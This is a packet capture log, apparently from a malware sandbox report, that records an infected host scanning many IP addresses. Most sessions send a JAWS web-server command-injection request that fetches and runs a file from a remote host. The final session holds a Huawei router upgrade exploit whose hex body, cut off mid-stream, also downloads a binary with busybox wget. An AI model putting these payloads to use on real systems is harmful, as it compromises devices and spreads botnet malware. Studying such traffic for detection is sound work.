Jan 2, 2024 06:24:24.483997107 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:24:24 GMT Date: Tue, 02 Jan 2024 05:24:24 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 64 33 34 36 64 36 38 26 23 34 36 3b 31 37 30 34 31 37 33 30 36 34 26 23 34 36 3b 32 34 37 32 33 33 39 39 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.5d346d68.1704173064.24723399</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
236	192.168.2.23	38786	18.142.2.159	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:24.307204962 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:24.642637968 CET	78	IN	HTTP/1.1 400 BAD_REQUEST Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port
237	192.168.2.23	48988	2.182.153.62	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:24.372961998 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:24.715166092 CET	443	IN	HTTP/1.1 403 Forbidden Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 337 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 36 22 3e 3c 74 69 74 6c 65 3e 4e 54 45 31 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 69 66 72 61 6d 65 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 31 30 2e 31 30 2e 33 34 2e 33 36 2f 3f 74 79 70 65 3d 49 6e 76 61 6c 69 64 20 4b 65 79 77 6f 72 64 26 70 6f 6c 69 63 79 3d 4d 61 69 6e 50 6f 6c 69 63 79 20 22 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 20 31 30 30 25 3b 20 68 65 69 67 68 74 3a 20 31 30 30 25 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 76 73 70 61 63 65 3d 22 30 22 20 68 73 70 61 63 65 3d 22 30 22 3e 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1256"><title>NTE1</title></head><body><iframe src="http://10.10.34.36/?type=Invalid Keyword&policy=MainPolicy " style="width: 100%; height: 100%" scrolling="no" marginwidth="0" marginheight="0" frameborder="0" vspace="0" hspace="0"></iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
238	192.168.2.23	35444	45.63.78.70	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:24.766885042 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
239	192.168.2.23	49976	104.230.152.225	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:24.820851088 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:24.997770071 CET	198	IN	HTTP/1.1 400 Bad Request Content-type: text/html Content-Length: 0 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Connection: close
Jan 2, 2024 06:24:25.876441002 CET	198	IN	HTTP/1.1 400 Bad Request Content-type: text/html Content-Length: 0 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Connection: close
Jan 2, 2024 06:24:26.930357933 CET	198	IN	HTTP/1.1 400 Bad Request Content-type: text/html Content-Length: 0 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Connection: close
Jan 2, 2024 06:24:29.037997007 CET	198	IN	HTTP/1.1 400 Bad Request Content-type: text/html Content-Length: 0 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Connection: close
Jan 2, 2024 06:24:33.245991945 CET	198	IN	HTTP/1.1 400 Bad Request Content-type: text/html Content-Length: 0 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Connection: close
Jan 2, 2024 06:24:41.677956104 CET	198	IN	HTTP/1.1 400 Bad Request Content-type: text/html Content-Length: 0 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
240	192.168.2.23	51014	172.121.20.145	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:24.984846115 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:25.148833990 CET	322	IN	HTTP/1.1 404 Not Found Server: nginx Date: Tue, 02 Jan 2024 05:24:25 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
241	192.168.2.23	59060	23.231.34.90	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:27.279280901 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:27.400278091 CET	413	IN	HTTP/1.0 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="login" Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 32 3e 3c 68 33 3e 41 63 63 65 73 73 20 74 6f 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 64 69 73 61 6c 6c 6f 77 65 64 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 6f 72 20 79 6f 75 20 6e 65 65 64 20 76 61 6c 69 64 20 75 73 65 72 6e 61 6d 65 2f 70 61 73 73 77 6f 72 64 20 74 6f 20 75 73 65 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>407 Proxy Authentication Required</title></head><body><h2>407 Proxy Authentication Required</h2><h3>Access to requested resource disallowed by administrator or you need valid username/password to use this resource</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
242	192.168.2.23	48982	205.186.128.8	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:27.336199045 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:27.514081001 CET	354	IN	HTTP/1.1 404 Not Found Server: nginx/1.10.3 (Ubuntu) Date: Tue, 02 Jan 2024 05:24:27 GMT Content-Type: text/html Content-Length: 178 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 30 2e 33 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.10.3 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
243	192.168.2.23	59862	34.216.109.8	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:27.341329098 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
244	192.168.2.23	38972	34.107.164.60	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:27.400912046 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:27.522589922 CET	441	IN	HTTP/1.0 400 Bad Request Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 273 Date: Tue, 02 Jan 2024 05:24:27 GMT Data Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 74 65 78 74 3d 23 30 30 30 30 30 30 20 62 67 63 6f 6c 6f 72 3d 23 66 66 66 66 66 66 3e 0a 3c 68 31 3e 45 72 72 6f 72 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 68 32 3e 59 6f 75 72 20 63 6c 69 65 6e 74 20 68 61 73 20 69 73 73 75 65 64 20 61 20 6d 61 6c 66 6f 72 6d 65 64 20 6f 72 20 69 6c 6c 65 67 61 6c 20 72 65 71 75 65 73 74 2e 3c 2f 68 32 3e 0a 3c 68 32 3e 3c 2f 68 32 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><title>400 Bad Request</title></head><body text=#000000 bgcolor=#ffffff><h1>Error: Bad Request</h1><h2>Your client has issued a malformed or illegal request.</h2><h2></h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
245	192.168.2.23	36874	147.161.173.4	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:27.401967049 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:27.649270058 CET	279	IN	HTTP/1.0 400 Bad request Server: Zscaler/6.2 Content-Type: text/html Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0d 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 3e 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
246	192.168.2.23	48036	191.82.53.43	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:27.438039064 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:27.720849037 CET	424	IN	Data Raw: 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 2f 6a 61 77 73 3b 73 68 2b 2f 74 6d 70 2f 6a 61 77 73 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 53 65 72 76 65 72 3a 20 6d 69 63 72 6f 5f 68 74 74 70 64 0d 0a 44 61 74 65 3a 20 54 75 65 2c 20 30 Data Ascii: 157.90.250.90/jaws;sh+/tmp/jaws 400 Bad RequestServer: micro_httpdDate: Tue, 02 Jan 2024 05:24:27 GMTConnection: keep-aliveKeep-Alive: timeout=60, max=1000Content-Type: text/htmlContent-Security-Policy: default-src 'self'; frame-an

Session ID	Source IP	Source Port	Destination IP	Destination Port
247	192.168.2.23	37718	157.70.251.23	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:27.439650059 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:28.876701117 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:30.572432041 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:34.187927008 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:41.098941088 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:54.665059090 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:23.588968039 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
248	192.168.2.23	60866	70.121.13.4	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:27.470721006 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:27.607001066 CET	500	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Tue, 02 Jan 2024 05:24:27 GMT Server: HTTP Server Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
249	192.168.2.23	46464	167.82.120.66	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:27.487382889 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:27.642430067 CET	167	IN	HTTP/1.1 400 Bad Request Connection: close Content-Length: 11 content-type: text/plain; charset=utf-8 x-served-by: cache-bur-kbur8200145 Data Raw: 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
250	192.168.2.23	44734	59.49.86.225	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:27.489026070 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:27.822945118 CET	355	IN	HTTP/1.1 403 Forbidden Server: Byte-nginx Date: Tue, 02 Jan 2024 05:24:27 GMT Content-Type: application/octet-stream Connection: keep-alive Byte-Error-Code: 0060 Content-Length: 24 via: cache05.sxtyct02 x-request-ip: 212.102.41.2 x-tt-trace-tag: id=5 x-response-cinfo: 212.102.41.2 x-response-cache: miss Data Raw: 31 32 37 2e 30 2e 30 2e 31 20 63 6f 6e 66 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: 127.0.0.1 conf not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
251	192.168.2.23	44720	94.250.243.6	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:27.687612057 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:27.937510967 CET	148	IN	HTTP/1.0 302 Moved Temporarily Location: https:///shell?cd+/tmp;rm+-rf+*;wget+ Server: BigIP Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
252	192.168.2.23	55428	91.146.142.151	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:27.710943937 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
253	192.168.2.23	58860	8.134.23.43	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:27.781954050 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:24:28.093302965 CET	320	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.2 Date: Tue, 02 Jan 2024 05:24:27 GMT Content-Type: text/html Content-Length: 153 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.20.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
254	192.168.2.23	38508	156.254.103.55	37215

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:24:27.790071011 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 